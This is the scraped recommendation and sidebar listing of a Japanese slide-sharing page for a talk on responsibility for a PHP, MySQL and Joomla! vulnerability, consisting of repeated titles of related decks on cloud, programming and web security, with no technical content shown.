オープンクラウド基盤の価値と導入へ向けた考慮点 〜IaaSからPaaSまで - EMC様セミナー 「あなたのビジネスを高速化!DevOpsとアジャイル開発...オープンクラウド基盤の価値と導入へ向けた考慮点 〜IaaSからPaaSまで - EMC様セミナー 「あなたのビジネスを高速化!DevOpsとアジャイル開発...
オープンクラウド基盤の価値と導入へ向けた考慮点 〜IaaSからPaaSまで - EMC様セミナー 「あなたのビジネスを高速化!DevOpsとアジャイル開発...Nobuyuki Tamaoki
 
[事例紹介]Scalaで物流倉庫システム作ったよ
[事例紹介]Scalaで物流倉庫システム作ったよ [事例紹介]Scalaで物流倉庫システム作ったよ
[事例紹介]Scalaで物流倉庫システム作ったよ Tomokazu Matsushita
 
スキーマつきストリーム データ処理基盤、 Confluent Platformとは?
スキーマつきストリーム データ処理基盤、 Confluent Platformとは?スキーマつきストリーム データ処理基盤、 Confluent Platformとは?
スキーマつきストリーム データ処理基盤、 Confluent Platformとは?Sotaro Kimura
 
ついにリリース!! MySQL 8.0 最新情報
ついにリリース!! MySQL 8.0 最新情報ついにリリース!! MySQL 8.0 最新情報
ついにリリース!! MySQL 8.0 最新情報yoyamasaki
 
『例えば、PHPを避ける』以降PHPはどれだけ安全になったか
『例えば、PHPを避ける』以降PHPはどれだけ安全になったか『例えば、PHPを避ける』以降PHPはどれだけ安全になったか
『例えば、PHPを避ける』以降PHPはどれだけ安全になったかHiroshi Tokumaru
 
Small Language Model Local Launch on AI Tour Tokyo
Small Language Model Local Launch on AI Tour TokyoSmall Language Model Local Launch on AI Tour Tokyo
Small Language Model Local Launch on AI Tour TokyoTakao Tetsuro
 
徳丸本に載っていないWebアプリケーションセキュリティ
徳丸本に載っていないWebアプリケーションセキュリティ徳丸本に載っていないWebアプリケーションセキュリティ
徳丸本に載っていないWebアプリケーションセキュリティHiroshi Tokumaru
 
企業システムにアジャイルは必要か
企業システムにアジャイルは必要か企業システムにアジャイルは必要か
企業システムにアジャイルは必要かHiromasa Oka
 
Scala@SmartNews AdFrontend を Scala で書いた話
Scala@SmartNews AdFrontend を Scala で書いた話Scala@SmartNews AdFrontend を Scala で書いた話
Scala@SmartNews AdFrontend を Scala で書いた話Keiji Muraishi
 
Webアプリケーション脆弱性体験ハンズオン
Webアプリケーション脆弱性体験ハンズオンWebアプリケーション脆弱性体験ハンズオン
Webアプリケーション脆弱性体験ハンズオンYuichi Hattori
 

Similar to 脆弱性は誰のせい? PHP、MySQL、Joomla! の責任やいかに (20)

Monadic Programmingのススメ - Functional Reactive Programmingへのアプローチ
Monadic Programmingのススメ - Functional Reactive ProgrammingへのアプローチMonadic Programmingのススメ - Functional Reactive Programmingへのアプローチ
Monadic Programmingのススメ - Functional Reactive Programmingへのアプローチ
 
SPAセキュリティ入門~PHP Conference Japan 2021
SPAセキュリティ入門~PHP Conference Japan 2021SPAセキュリティ入門~PHP Conference Japan 2021
SPAセキュリティ入門~PHP Conference Japan 2021
 
大規模なギョームシステムにHaxeを採用してみた話
大規模なギョームシステムにHaxeを採用してみた話大規模なギョームシステムにHaxeを採用してみた話
大規模なギョームシステムにHaxeを採用してみた話
 
[Preview] MySQL session at Open Source Conference 2014 .Enterprise Osaka
[Preview] MySQL session at Open Source Conference 2014 .Enterprise Osaka[Preview] MySQL session at Open Source Conference 2014 .Enterprise Osaka
[Preview] MySQL session at Open Source Conference 2014 .Enterprise Osaka
 
あるインフラエンジニアの過去と未来
あるインフラエンジニアの過去と未来あるインフラエンジニアの過去と未来
あるインフラエンジニアの過去と未来
 
Scalaz-StreamによるFunctional Reactive Programming
Scalaz-StreamによるFunctional Reactive ProgrammingScalaz-StreamによるFunctional Reactive Programming
Scalaz-StreamによるFunctional Reactive Programming
 
Azure API Management 俺的マニュアル
Azure API Management 俺的マニュアルAzure API Management 俺的マニュアル
Azure API Management 俺的マニュアル
 
DBTS2016 Data as Code - Delphix
DBTS2016 Data as Code - DelphixDBTS2016 Data as Code - Delphix
DBTS2016 Data as Code - Delphix
 
オープンクラウド基盤の価値と導入へ向けた考慮点 〜IaaSからPaaSまで - EMC様セミナー 「あなたのビジネスを高速化!DevOpsとアジャイル開発...
オープンクラウド基盤の価値と導入へ向けた考慮点 〜IaaSからPaaSまで - EMC様セミナー 「あなたのビジネスを高速化!DevOpsとアジャイル開発...オープンクラウド基盤の価値と導入へ向けた考慮点 〜IaaSからPaaSまで - EMC様セミナー 「あなたのビジネスを高速化!DevOpsとアジャイル開発...
オープンクラウド基盤の価値と導入へ向けた考慮点 〜IaaSからPaaSまで - EMC様セミナー 「あなたのビジネスを高速化!DevOpsとアジャイル開発...
 
オープンクラウド基盤の価値と導入へ向けた考慮点 〜IaaSからPaaSまで - EMC様セミナー 「あなたのビジネスを高速化!DevOpsとアジャイル開発...
オープンクラウド基盤の価値と導入へ向けた考慮点 〜IaaSからPaaSまで - EMC様セミナー 「あなたのビジネスを高速化!DevOpsとアジャイル開発...オープンクラウド基盤の価値と導入へ向けた考慮点 〜IaaSからPaaSまで - EMC様セミナー 「あなたのビジネスを高速化!DevOpsとアジャイル開発...
オープンクラウド基盤の価値と導入へ向けた考慮点 〜IaaSからPaaSまで - EMC様セミナー 「あなたのビジネスを高速化!DevOpsとアジャイル開発...
 
[事例紹介]Scalaで物流倉庫システム作ったよ
[事例紹介]Scalaで物流倉庫システム作ったよ [事例紹介]Scalaで物流倉庫システム作ったよ
[事例紹介]Scalaで物流倉庫システム作ったよ
 
スキーマつきストリーム データ処理基盤、 Confluent Platformとは?
スキーマつきストリーム データ処理基盤、 Confluent Platformとは?スキーマつきストリーム データ処理基盤、 Confluent Platformとは?
スキーマつきストリーム データ処理基盤、 Confluent Platformとは?
 
ついにリリース!! MySQL 8.0 最新情報
ついにリリース!! MySQL 8.0 最新情報ついにリリース!! MySQL 8.0 最新情報
ついにリリース!! MySQL 8.0 最新情報
 
『例えば、PHPを避ける』以降PHPはどれだけ安全になったか
『例えば、PHPを避ける』以降PHPはどれだけ安全になったか『例えば、PHPを避ける』以降PHPはどれだけ安全になったか
『例えば、PHPを避ける』以降PHPはどれだけ安全になったか
 
Small Language Model Local Launch on AI Tour Tokyo
Small Language Model Local Launch on AI Tour TokyoSmall Language Model Local Launch on AI Tour Tokyo
Small Language Model Local Launch on AI Tour Tokyo
 
徳丸本に載っていないWebアプリケーションセキュリティ
徳丸本に載っていないWebアプリケーションセキュリティ徳丸本に載っていないWebアプリケーションセキュリティ
徳丸本に載っていないWebアプリケーションセキュリティ
 
企業システムにアジャイルは必要か
企業システムにアジャイルは必要か企業システムにアジャイルは必要か
企業システムにアジャイルは必要か
 
Scala@SmartNews AdFrontend を Scala で書いた話
Scala@SmartNews AdFrontend を Scala で書いた話Scala@SmartNews AdFrontend を Scala で書いた話
Scala@SmartNews AdFrontend を Scala で書いた話
 
Webアプリケーション脆弱性体験ハンズオン
Webアプリケーション脆弱性体験ハンズオンWebアプリケーション脆弱性体験ハンズオン
Webアプリケーション脆弱性体験ハンズオン
 
BPStudy20121221
BPStudy20121221BPStudy20121221
BPStudy20121221
 

More from Hiroshi Tokumaru

ウェブセキュリティのありがちな誤解を解説する
ウェブセキュリティのありがちな誤解を解説するウェブセキュリティのありがちな誤解を解説する
ウェブセキュリティのありがちな誤解を解説するHiroshi Tokumaru
 
脅威分析の手法によりウェブサーバーにウイルス対策ソフトが必要かを検証する
脅威分析の手法によりウェブサーバーにウイルス対策ソフトが必要かを検証する脅威分析の手法によりウェブサーバーにウイルス対策ソフトが必要かを検証する
脅威分析の手法によりウェブサーバーにウイルス対策ソフトが必要かを検証するHiroshi Tokumaru
 
徳丸本VMに脆弱なWordPressを導入する
徳丸本VMに脆弱なWordPressを導入する徳丸本VMに脆弱なWordPressを導入する
徳丸本VMに脆弱なWordPressを導入するHiroshi Tokumaru
 
introduction to unsafe deserialization part1
introduction to unsafe deserialization part1introduction to unsafe deserialization part1
introduction to unsafe deserialization part1Hiroshi Tokumaru
 
SSRF対策としてAmazonから発表されたIMDSv2の効果と破り方
SSRF対策としてAmazonから発表されたIMDSv2の効果と破り方SSRF対策としてAmazonから発表されたIMDSv2の効果と破り方
SSRF対策としてAmazonから発表されたIMDSv2の効果と破り方Hiroshi Tokumaru
 
XXE、SSRF、安全でないデシリアライゼーション入門
XXE、SSRF、安全でないデシリアライゼーション入門XXE、SSRF、安全でないデシリアライゼーション入門
XXE、SSRF、安全でないデシリアライゼーション入門Hiroshi Tokumaru
 
ウェブ・セキュリティ基礎試験(徳丸基礎試験)の模擬試験問題
ウェブ・セキュリティ基礎試験(徳丸基礎試験)の模擬試験問題ウェブ・セキュリティ基礎試験(徳丸基礎試験)の模擬試験問題
ウェブ・セキュリティ基礎試験(徳丸基礎試験)の模擬試験問題Hiroshi Tokumaru
 
オニギリペイのセキュリティ事故に学ぶ安全なサービスの構築法 (PHPカンファレンス2019)
オニギリペイのセキュリティ事故に学ぶ安全なサービスの構築法 (PHPカンファレンス2019)オニギリペイのセキュリティ事故に学ぶ安全なサービスの構築法 (PHPカンファレンス2019)
オニギリペイのセキュリティ事故に学ぶ安全なサービスの構築法 (PHPカンファレンス2019)Hiroshi Tokumaru
 
ウェブセキュリティの最近の話題早分かり
ウェブセキュリティの最近の話題早分かりウェブセキュリティの最近の話題早分かり
ウェブセキュリティの最近の話題早分かりHiroshi Tokumaru
 
CMS四天王への攻撃デモを通じて、WordPressの効果的な防御法を学ぼう
CMS四天王への攻撃デモを通じて、WordPressの効果的な防御法を学ぼうCMS四天王への攻撃デモを通じて、WordPressの効果的な防御法を学ぼう
CMS四天王への攻撃デモを通じて、WordPressの効果的な防御法を学ぼうHiroshi Tokumaru
 
Rails SQL Injection Examplesの紹介
Rails SQL Injection Examplesの紹介Rails SQL Injection Examplesの紹介
Rails SQL Injection Examplesの紹介Hiroshi Tokumaru
 

More from Hiroshi Tokumaru (11)

ウェブセキュリティのありがちな誤解を解説する
ウェブセキュリティのありがちな誤解を解説するウェブセキュリティのありがちな誤解を解説する
ウェブセキュリティのありがちな誤解を解説する
 
脅威分析の手法によりウェブサーバーにウイルス対策ソフトが必要かを検証する
脅威分析の手法によりウェブサーバーにウイルス対策ソフトが必要かを検証する脅威分析の手法によりウェブサーバーにウイルス対策ソフトが必要かを検証する
脅威分析の手法によりウェブサーバーにウイルス対策ソフトが必要かを検証する
 
徳丸本VMに脆弱なWordPressを導入する
徳丸本VMに脆弱なWordPressを導入する徳丸本VMに脆弱なWordPressを導入する
徳丸本VMに脆弱なWordPressを導入する
 
introduction to unsafe deserialization part1
introduction to unsafe deserialization part1introduction to unsafe deserialization part1
introduction to unsafe deserialization part1
 
SSRF対策としてAmazonから発表されたIMDSv2の効果と破り方
SSRF対策としてAmazonから発表されたIMDSv2の効果と破り方SSRF対策としてAmazonから発表されたIMDSv2の効果と破り方
SSRF対策としてAmazonから発表されたIMDSv2の効果と破り方
 
XXE、SSRF、安全でないデシリアライゼーション入門
XXE、SSRF、安全でないデシリアライゼーション入門XXE、SSRF、安全でないデシリアライゼーション入門
XXE、SSRF、安全でないデシリアライゼーション入門
 
ウェブ・セキュリティ基礎試験(徳丸基礎試験)の模擬試験問題
ウェブ・セキュリティ基礎試験(徳丸基礎試験)の模擬試験問題ウェブ・セキュリティ基礎試験(徳丸基礎試験)の模擬試験問題
ウェブ・セキュリティ基礎試験(徳丸基礎試験)の模擬試験問題
 
オニギリペイのセキュリティ事故に学ぶ安全なサービスの構築法 (PHPカンファレンス2019)
オニギリペイのセキュリティ事故に学ぶ安全なサービスの構築法 (PHPカンファレンス2019)オニギリペイのセキュリティ事故に学ぶ安全なサービスの構築法 (PHPカンファレンス2019)
オニギリペイのセキュリティ事故に学ぶ安全なサービスの構築法 (PHPカンファレンス2019)
 
ウェブセキュリティの最近の話題早分かり
ウェブセキュリティの最近の話題早分かりウェブセキュリティの最近の話題早分かり
ウェブセキュリティの最近の話題早分かり
 
CMS四天王への攻撃デモを通じて、WordPressの効果的な防御法を学ぼう
CMS四天王への攻撃デモを通じて、WordPressの効果的な防御法を学ぼうCMS四天王への攻撃デモを通じて、WordPressの効果的な防御法を学ぼう
CMS四天王への攻撃デモを通じて、WordPressの効果的な防御法を学ぼう
 
Rails SQL Injection Examplesの紹介
Rails SQL Injection Examplesの紹介Rails SQL Injection Examplesの紹介
Rails SQL Injection Examplesの紹介
 

Recently uploaded

モーダル間の変換後の一致性とジャンル表を用いた解釈可能性の考察 ~Text-to-MusicとText-To-ImageかつImage-to-Music...
モーダル間の変換後の一致性とジャンル表を用いた解釈可能性の考察  ~Text-to-MusicとText-To-ImageかつImage-to-Music...モーダル間の変換後の一致性とジャンル表を用いた解釈可能性の考察  ~Text-to-MusicとText-To-ImageかつImage-to-Music...
モーダル間の変換後の一致性とジャンル表を用いた解釈可能性の考察 ~Text-to-MusicとText-To-ImageかつImage-to-Music...博三 太田
 
【早稲田AI研究会 講義資料】3DスキャンとTextTo3Dのツールを知ろう!(Vol.1)
【早稲田AI研究会 講義資料】3DスキャンとTextTo3Dのツールを知ろう!(Vol.1)【早稲田AI研究会 講義資料】3DスキャンとTextTo3Dのツールを知ろう!(Vol.1)
【早稲田AI研究会 講義資料】3DスキャンとTextTo3Dのツールを知ろう!(Vol.1)Hiroki Ichikura
 
デジタル・フォレンジックの最新動向(2024年4月27日情洛会総会特別講演スライド)
デジタル・フォレンジックの最新動向(2024年4月27日情洛会総会特別講演スライド)デジタル・フォレンジックの最新動向(2024年4月27日情洛会総会特別講演スライド)
デジタル・フォレンジックの最新動向(2024年4月27日情洛会総会特別講演スライド)UEHARA, Tetsutaro
 
Open Source UN-Conference 2024 Kawagoe - 独自OS「DaisyOS GB」の紹介
Open Source UN-Conference 2024 Kawagoe - 独自OS「DaisyOS GB」の紹介Open Source UN-Conference 2024 Kawagoe - 独自OS「DaisyOS GB」の紹介
Open Source UN-Conference 2024 Kawagoe - 独自OS「DaisyOS GB」の紹介Yuma Ohgami
 
論文紹介:Automated Classification of Model Errors on ImageNet
論文紹介:Automated Classification of Model Errors on ImageNet論文紹介:Automated Classification of Model Errors on ImageNet
論文紹介:Automated Classification of Model Errors on ImageNetToru Tamaki
 
論文紹介:Content-Aware Token Sharing for Efficient Semantic Segmentation With Vis...
論文紹介:Content-Aware Token Sharing for Efficient Semantic Segmentation With Vis...論文紹介:Content-Aware Token Sharing for Efficient Semantic Segmentation With Vis...
論文紹介:Content-Aware Token Sharing for Efficient Semantic Segmentation With Vis...Toru Tamaki
 
TSAL operation mechanism and circuit diagram.pdf
TSAL operation mechanism and circuit diagram.pdfTSAL operation mechanism and circuit diagram.pdf
TSAL operation mechanism and circuit diagram.pdftaisei2219
 
AWS の OpenShift サービス (ROSA) を使った OpenShift Virtualizationの始め方.pdf
AWS の OpenShift サービス (ROSA) を使った OpenShift Virtualizationの始め方.pdfAWS の OpenShift サービス (ROSA) を使った OpenShift Virtualizationの始め方.pdf
AWS の OpenShift サービス (ROSA) を使った OpenShift Virtualizationの始め方.pdfFumieNakayama
 
SOPを理解する 2024/04/19 の勉強会で発表されたものです
SOPを理解する       2024/04/19 の勉強会で発表されたものですSOPを理解する       2024/04/19 の勉強会で発表されたものです
SOPを理解する 2024/04/19 の勉強会で発表されたものですiPride Co., Ltd.
 
TataPixel: 畳の異方性を利用した切り替え可能なディスプレイの提案
TataPixel: 畳の異方性を利用した切り替え可能なディスプレイの提案TataPixel: 畳の異方性を利用した切り替え可能なディスプレイの提案
TataPixel: 畳の異方性を利用した切り替え可能なディスプレイの提案sugiuralab
 
論文紹介:Semantic segmentation using Vision Transformers: A survey
論文紹介:Semantic segmentation using Vision Transformers: A survey論文紹介:Semantic segmentation using Vision Transformers: A survey
論文紹介:Semantic segmentation using Vision Transformers: A surveyToru Tamaki
 
クラウドネイティブなサーバー仮想化基盤 - OpenShift Virtualization.pdf
クラウドネイティブなサーバー仮想化基盤 - OpenShift Virtualization.pdfクラウドネイティブなサーバー仮想化基盤 - OpenShift Virtualization.pdf
クラウドネイティブなサーバー仮想化基盤 - OpenShift Virtualization.pdfFumieNakayama
 

Recently uploaded (12)

モーダル間の変換後の一致性とジャンル表を用いた解釈可能性の考察 ~Text-to-MusicとText-To-ImageかつImage-to-Music...
モーダル間の変換後の一致性とジャンル表を用いた解釈可能性の考察  ~Text-to-MusicとText-To-ImageかつImage-to-Music...モーダル間の変換後の一致性とジャンル表を用いた解釈可能性の考察  ~Text-to-MusicとText-To-ImageかつImage-to-Music...
モーダル間の変換後の一致性とジャンル表を用いた解釈可能性の考察 ~Text-to-MusicとText-To-ImageかつImage-to-Music...
 
【早稲田AI研究会 講義資料】3DスキャンとTextTo3Dのツールを知ろう!(Vol.1)
【早稲田AI研究会 講義資料】3DスキャンとTextTo3Dのツールを知ろう!(Vol.1)【早稲田AI研究会 講義資料】3DスキャンとTextTo3Dのツールを知ろう!(Vol.1)
【早稲田AI研究会 講義資料】3DスキャンとTextTo3Dのツールを知ろう!(Vol.1)
 
デジタル・フォレンジックの最新動向(2024年4月27日情洛会総会特別講演スライド)
デジタル・フォレンジックの最新動向(2024年4月27日情洛会総会特別講演スライド)デジタル・フォレンジックの最新動向(2024年4月27日情洛会総会特別講演スライド)
デジタル・フォレンジックの最新動向(2024年4月27日情洛会総会特別講演スライド)
 
Open Source UN-Conference 2024 Kawagoe - 独自OS「DaisyOS GB」の紹介
Open Source UN-Conference 2024 Kawagoe - 独自OS「DaisyOS GB」の紹介Open Source UN-Conference 2024 Kawagoe - 独自OS「DaisyOS GB」の紹介
Open Source UN-Conference 2024 Kawagoe - 独自OS「DaisyOS GB」の紹介
 
論文紹介:Automated Classification of Model Errors on ImageNet
論文紹介:Automated Classification of Model Errors on ImageNet論文紹介:Automated Classification of Model Errors on ImageNet
論文紹介:Automated Classification of Model Errors on ImageNet
 
論文紹介:Content-Aware Token Sharing for Efficient Semantic Segmentation With Vis...
論文紹介:Content-Aware Token Sharing for Efficient Semantic Segmentation With Vis...論文紹介:Content-Aware Token Sharing for Efficient Semantic Segmentation With Vis...
論文紹介:Content-Aware Token Sharing for Efficient Semantic Segmentation With Vis...
 
TSAL operation mechanism and circuit diagram.pdf
TSAL operation mechanism and circuit diagram.pdfTSAL operation mechanism and circuit diagram.pdf
TSAL operation mechanism and circuit diagram.pdf
 
AWS の OpenShift サービス (ROSA) を使った OpenShift Virtualizationの始め方.pdf
AWS の OpenShift サービス (ROSA) を使った OpenShift Virtualizationの始め方.pdfAWS の OpenShift サービス (ROSA) を使った OpenShift Virtualizationの始め方.pdf
AWS の OpenShift サービス (ROSA) を使った OpenShift Virtualizationの始め方.pdf
 
SOPを理解する 2024/04/19 の勉強会で発表されたものです
SOPを理解する       2024/04/19 の勉強会で発表されたものですSOPを理解する       2024/04/19 の勉強会で発表されたものです
SOPを理解する 2024/04/19 の勉強会で発表されたものです
 
TataPixel: 畳の異方性を利用した切り替え可能なディスプレイの提案
TataPixel: 畳の異方性を利用した切り替え可能なディスプレイの提案TataPixel: 畳の異方性を利用した切り替え可能なディスプレイの提案
TataPixel: 畳の異方性を利用した切り替え可能なディスプレイの提案
 
論文紹介:Semantic segmentation using Vision Transformers: A survey
論文紹介:Semantic segmentation using Vision Transformers: A survey論文紹介:Semantic segmentation using Vision Transformers: A survey
論文紹介:Semantic segmentation using Vision Transformers: A survey
 
クラウドネイティブなサーバー仮想化基盤 - OpenShift Virtualization.pdf
クラウドネイティブなサーバー仮想化基盤 - OpenShift Virtualization.pdfクラウドネイティブなサーバー仮想化基盤 - OpenShift Virtualization.pdf
クラウドネイティブなサーバー仮想化基盤 - OpenShift Virtualization.pdf
 

脆弱性は誰のせい? PHP、MySQL、Joomla! の責任やいかに